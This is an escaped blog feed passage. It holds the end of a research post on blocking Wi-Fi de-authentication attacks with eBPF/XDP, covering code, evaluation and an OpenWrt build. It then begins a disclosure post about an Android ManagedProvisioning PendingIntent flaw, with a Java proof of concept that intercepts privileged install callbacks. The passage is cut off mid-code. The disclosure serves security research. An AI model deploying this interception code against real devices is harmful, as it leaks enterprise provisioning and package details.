&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (xdp_prog) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; xdp_buff xdp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xdp.data &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; skb&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xdp.data_end &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; skb&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;data &lt;span style="color:#ff7b72;font-weight:bold"&gt;+&lt;/span&gt; skb&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;len;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; act &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;bpf_prog_run_xdp&lt;/span&gt;(xdp_prog, &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&lt;/span&gt;xdp);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;switch&lt;/span&gt; (act) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;XDP_PASS&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#79c0ff;font-weight:bold"&gt;XDP_DROP&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;kfree_skb&lt;/span&gt;(skb);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The packet data is accessed through the &lt;code&gt;sk_buff&lt;/code&gt; structure, which contains the complete 802.11 frame including headers and payload. Two actions are handled: &lt;code&gt;XDP_DROP&lt;/code&gt; flushes the &lt;code&gt;skb&lt;/code&gt; immediately, &lt;code&gt;XDP_PASS&lt;/code&gt; allows normal processing to continue.&lt;/p&gt;
&lt;h2 id="the-ebpf-de-auth-detector"&gt;The eBPF De-Auth Detector&lt;/h2&gt;
&lt;p&gt;With XDP working on wireless interfaces, the detection program parses 802.11 management frames and identifies de-authentication packets by their frame control field:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; ieee80211_mgmt {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;uint16_t&lt;/span&gt; frame_control;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;uint16_t&lt;/span&gt; duration_id;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;uint8_t&lt;/span&gt; da[&lt;span style="color:#a5d6ff"&gt;6&lt;/span&gt;]; &lt;span style="color:#8b949e;font-style:italic"&gt;// Destination address
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;uint8_t&lt;/span&gt; sa[&lt;span style="color:#a5d6ff"&gt;6&lt;/span&gt;]; &lt;span style="color:#8b949e;font-style:italic"&gt;// Source address
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;uint8_t&lt;/span&gt; bssid[&lt;span style="color:#a5d6ff"&gt;6&lt;/span&gt;]; &lt;span style="color:#8b949e;font-style:italic"&gt;// AP MAC
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;uint16_t&lt;/span&gt; seq_ctrl;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;uint16_t&lt;/span&gt; reason_code;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The Frame Control field encodes the type (bits 2–3) and subtype (bits 4–7). Management frames have type &lt;code&gt;0&lt;/code&gt;, de-authentication has subtype &lt;code&gt;0xC&lt;/code&gt; (12):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;uint8_t&lt;/span&gt; type &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; (mgmt&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;frame_control &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0x000C&lt;/span&gt;) &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;uint8_t&lt;/span&gt; subtype &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; (mgmt&lt;span style="color:#ff7b72;font-weight:bold"&gt;-&amp;gt;&lt;/span&gt;frame_control &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0x00F0&lt;/span&gt;) &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;4&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; (subtype &lt;span style="color:#ff7b72;font-weight:bold"&gt;==&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0xC&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;&amp;amp;&amp;amp;&lt;/span&gt; type &lt;span style="color:#ff7b72;font-weight:bold"&gt;==&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8b949e;font-style:italic"&gt;// De-authentication frame detected
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;State is tracked in a per-CPU array map (lock-free counters):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;__uint&lt;/span&gt;(type, BPF_MAP_TYPE_PERCPU_ARRAY);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;__uint&lt;/span&gt;(key_size, &lt;span style="color:#ff7b72"&gt;sizeof&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;uint32_t&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;__uint&lt;/span&gt;(value_size, &lt;span style="color:#ff7b72"&gt;sizeof&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;uint64_t&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;__uint&lt;/span&gt;(max_entries, &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} packet_count &lt;span style="color:#d2a8ff;font-weight:bold"&gt;SEC&lt;/span&gt;(&lt;span style="color:#a5d6ff"&gt;&amp;#34;.maps&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When de-auth frames exceed a threshold, the program logs the attack metadata (BSSID, source/destination MACs, reason code, nanosecond timestamp) and returns &lt;code&gt;XDP_DROP&lt;/code&gt;. The frame is gone before the network stack ever sees it.&lt;/p&gt;
&lt;p&gt;Compile and attach:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clang -O2 -target bpf -c deauth_ebpf.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip link set dev wlan0 xdp obj deauth_ebpf.o
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once deployed, the protected device can only be disconnected manually — all de-authentication frames are filtered out.&lt;/p&gt;
&lt;h2 id="evaluation"&gt;Evaluation&lt;/h2&gt;
&lt;h3 id="ebpf-vs-libpcap-detection-time"&gt;eBPF vs. libpcap: Detection Time&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Setup&lt;/strong&gt;: Two Debian Bookworm VMs (kernel 6.1.52, 4 GB RAM, 12 logical CPUs) with external ATHEROS UB93 [0108] USB wireless cards using the &lt;code&gt;ath9k_htc&lt;/code&gt; driver. One VM as the victim, one as the attacker running a modified &lt;code&gt;aireplay-ng&lt;/code&gt; with nanosecond timestamps. Both eBPF and libpcap detectors ran on the victim, logging de-auth events with nanosecond precision.&lt;/p&gt;
&lt;p&gt;eBPF reduces detection time by &lt;strong&gt;60%&lt;/strong&gt; on average compared to libpcap, with peak improvements of up to &lt;strong&gt;7x&lt;/strong&gt;. The CDF of detection times shows XDP/eBPF reaching 100% distribution at significantly lower thresholds — it is consistently faster, not just on average. Both solutions maintain a relatively constant memory footprint, with libpcap exhibiting slightly higher average usage.&lt;/p&gt;
&lt;h3 id="ebpfxdp-vs-80211w-throughput-under-attack"&gt;eBPF/XDP vs. 802.11w: Throughput Under Attack&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Setup&lt;/strong&gt;: Two Raspberry Pi 4s running OpenWrt — one as AP, one as client — with &lt;code&gt;ath9k-htc&lt;/code&gt; USB wireless cards (because the onboard Broadcom &lt;code&gt;brcmfmac&lt;/code&gt; doesn&amp;rsquo;t support WPA3/PMF configurations required for 802.11w testing). The client ran &lt;code&gt;iperf3&lt;/code&gt; against an Android 15 device as the server. An attacker on a separate laptop with an Intel wireless card in monitor mode launched sustained de-auth floods with &lt;code&gt;aireplay-ng&lt;/code&gt; over a 5-minute window.&lt;/p&gt;
&lt;p&gt;Throughput comparison under sustained attack:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;eBPF/XDP&lt;/th&gt;
&lt;th&gt;802.11w&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Stabilization&lt;/td&gt;
&lt;td&gt;Fast, consistent&lt;/td&gt;
&lt;td&gt;Slow, erratic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sustained throughput&lt;/td&gt;
&lt;td&gt;10–12 Mbps&lt;/td&gt;
&lt;td&gt;Frequent drops below 5 Mbps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Variance&lt;/td&gt;
&lt;td&gt;Minimal fluctuations&lt;/td&gt;
&lt;td&gt;Frequent dips and spikes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Both solutions initially reach ~20 Mbps, but eBPF/XDP stabilizes faster and maintains a consistent throughput with fewer deviations. 802.11w exhibits erratic performance with frequent dips, making it less reliable for latency-sensitive applications like security cameras or streaming sessions — exactly the IoT scenarios where de-auth attacks are most damaging.&lt;/p&gt;
&lt;h2 id="the-openwrt-integration"&gt;The OpenWrt Integration&lt;/h2&gt;
&lt;p&gt;For real-world deployment on embedded hardware, the mac80211 patches are integrated into a custom &lt;a href="https://github.com/fulvius31/openwrt_mac80211_xdp_ebpf"&gt;OpenWrt build&lt;/a&gt; targeting Raspberry Pi. This includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The two mac80211 kernel patches applied to the OpenWrt build system&lt;/li&gt;
&lt;li&gt;BPF toolchain configuration for cross-compilation (clang/LLVM pipeline)&lt;/li&gt;
&lt;li&gt;Build infrastructure for compiling eBPF programs against OpenWrt kernel headers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Flash a Raspberry Pi with the custom image, attach an &lt;code&gt;ath9k_htc&lt;/code&gt; USB WiFi adapter, load the eBPF program, and you have a wireless intrusion prevention sensor on a $35 board.&lt;/p&gt;
&lt;h2 id="limitations-and-future-work"&gt;Limitations and Future Work&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No source verification&lt;/strong&gt; — the current solution does not verify the legitimacy of the source of de-authentication packets. A future MAC address whitelist mechanism would allow selective protection for critical devices (IoT cameras, medical equipment) while preserving standard de-auth behavior for other clients.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threshold tuning&lt;/strong&gt; — the current fixed threshold works for research. Production deployments would need adaptive thresholds based on network characteristics.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Single-run throughput data&lt;/strong&gt; — the throughput comparison results come from single runs. We release the code for reproducibility and further testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="source-code"&gt;Source Code&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;eBPF program&lt;/strong&gt;: &lt;a href="https://github.com/fulvius31/deauth_ebpf"&gt;github.com/fulvius31/deauth_ebpf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenWrt + mac80211 patches&lt;/strong&gt;: &lt;a href="https://github.com/fulvius31/openwrt_mac80211_xdp_ebpf"&gt;github.com/fulvius31/openwrt_mac80211_xdp_ebpf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;A. Sangiorgi, A. Pinto, R. Tourani, F. Esposito, &amp;ldquo;Mitigating De-authentication DoS Attacks in 802.11 via eBPF and XDP,&amp;rdquo; IEEE NetSoft 2025. &lt;strong&gt;First author.&lt;/strong&gt; Department of Computer Science, Saint Louis University.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This work was supported by NSF awards OAC-2201536 and CPS 2133407.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;DOI: &lt;a href="https://ieeexplore.ieee.org/document/11080545"&gt;10.1109/NetSoft61042.2025.11080545&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content><category term="ebpf"/><category term="xdp"/><category term="security"/><category term="linux"/><category term="kernel"/><category term="wifi"/><category term="research"/><category term="ieee"/></entry><entry><title>Intercepting Android's ManagedProvisioning: A PendingIntent Vulnerability in AOSP</title><link href="https://contact.alessandrosangiorgi.net/posts/managedprovisioning-pendingintent-vulnerability/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/managedprovisioning-pendingintent-vulnerability/</id><published>2026-04-06T00:00:00Z</published><updated>2026-04-06T00:00:00Z</updated><summary>I found a vulnerability in Android's ManagedProvisioning that lets any unprivileged app intercept privileged provisioning callbacks. Google classified it as low severity.</summary><content type="html">&lt;p&gt;I found and reported a vulnerability in Android&amp;rsquo;s &lt;code&gt;ManagedProvisioning&lt;/code&gt; component — the system app responsible for setting up enterprise-managed (work) profiles. The bug allows any unprivileged third-party app to intercept a privileged provisioning callback, leaking install timing, session metadata, and in some cases package details — all without any special permissions.&lt;/p&gt;
&lt;p&gt;Google acknowledged the report, logged it for potential remediation, and classified it as low severity. Here&amp;rsquo;s the full breakdown.&lt;/p&gt;
&lt;h2 id="the-bug"&gt;The Bug&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;InstallPackageTask&lt;/code&gt; in &lt;code&gt;packages/apps/ManagedProvisioning&lt;/code&gt; creates the &lt;code&gt;PackageInstaller.Session.commit()&lt;/code&gt; status receiver using a &lt;strong&gt;mutable implicit PendingIntent&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The callback intent uses a predictable action string:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;com.android.managedprovisioning.task.InstallPackageTask.DONE.&amp;lt;sessionId&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is passed to &lt;code&gt;PendingIntent.getBroadcast(...)&lt;/code&gt; without &lt;code&gt;setPackage()&lt;/code&gt; or an explicit component. On Android U+ builds, the code also adds &lt;code&gt;FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT&lt;/code&gt;, which &lt;strong&gt;explicitly opts out&lt;/strong&gt; of Android&amp;rsquo;s own protection against unsafe mutable implicit PendingIntents.&lt;/p&gt;
&lt;p&gt;Because the action includes the session ID, any app that observes the session ID can dynamically register a matching &lt;code&gt;BroadcastReceiver&lt;/code&gt; and receive the install-status callback.&lt;/p&gt;
&lt;h2 id="why-this-matters"&gt;Why This Matters&lt;/h2&gt;
&lt;p&gt;The callback originates from a &lt;strong&gt;privileged provisioning component&lt;/strong&gt; — the system flow that sets up enterprise work profiles, installs MDM agents, and configures managed devices. Android&amp;rsquo;s own documentation treats mutable implicit PendingIntents as unsafe and recommends making them explicit or package-scoped.&lt;/p&gt;
&lt;p&gt;The practical impact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Disclosure of provisioning/install timing&lt;/strong&gt; — an attacker can observe exactly when enterprise provisioning packages are being installed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session-correlated callback metadata&lt;/strong&gt; — the intercepted broadcast carries extras tied to the install session&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Package detail leakage&lt;/strong&gt; — for some apps (like Google Digital Wellbeing), the intercepted callback reveals package details without any permissions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise fingerprinting&lt;/strong&gt; — a malicious app can detect and fingerprint when an MDM solution is being deployed on the device&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="proof-of-concept"&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;The exploit is straightforward. A third-party app:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Calls &lt;code&gt;PackageInstaller.registerSessionCallback(...)&lt;/code&gt; to observe newly created install sessions&lt;/li&gt;
&lt;li&gt;Extracts the session ID in real time from &lt;code&gt;onCreated(int sessionId)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Dynamically registers a &lt;code&gt;BroadcastReceiver&lt;/code&gt; for the exact action string&lt;/li&gt;
&lt;li&gt;Receives the callback broadcast when &lt;code&gt;session.commit(...)&lt;/code&gt; completes&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PackageInstaller&lt;span style="color:#6e7681"&gt; &lt;/span&gt;installer&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;context.getPackageManager().getPackageInstaller();&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;installer.registerSessionCallback(&lt;span style="color:#ff7b72"&gt;new&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;PackageInstaller.SessionCallback()&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;@Override&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;public&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;void&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;onCreated&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;sessionId)&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;String&lt;span style="color:#6e7681"&gt; &lt;/span&gt;action&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;com.android.managedprovisioning.task.InstallPackageTask.DONE.&amp;#34;&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;+&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;sessionId;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;BroadcastReceiver&lt;span style="color:#6e7681"&gt; &lt;/span&gt;receiver&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;new&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;ManagedProvisioningHijackReceiver();&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;IntentFilter&lt;span style="color:#6e7681"&gt; &lt;/span&gt;filter&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;new&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;IntentFilter(action);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;context.registerReceiver(&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;receiver,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;filter,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Context.RECEIVER_EXPORTED);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;Log.w(&lt;span style="color:#a5d6ff"&gt;&amp;#34;PoC&amp;#34;&lt;/span&gt;,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;Registered receiver for action: &amp;#34;&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;+&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;action);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;}&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;@Override&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;public&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;void&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#d2a8ff;font-weight:bold"&gt;onBadgingChanged&lt;/span&gt;(&lt;span style="color:#ff7b72"&gt;int&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;sessionId)&lt;span style="color:#6e7681"&gt; &lt;/span&gt;{}&lt;span style="color:#6e7681"&gt;
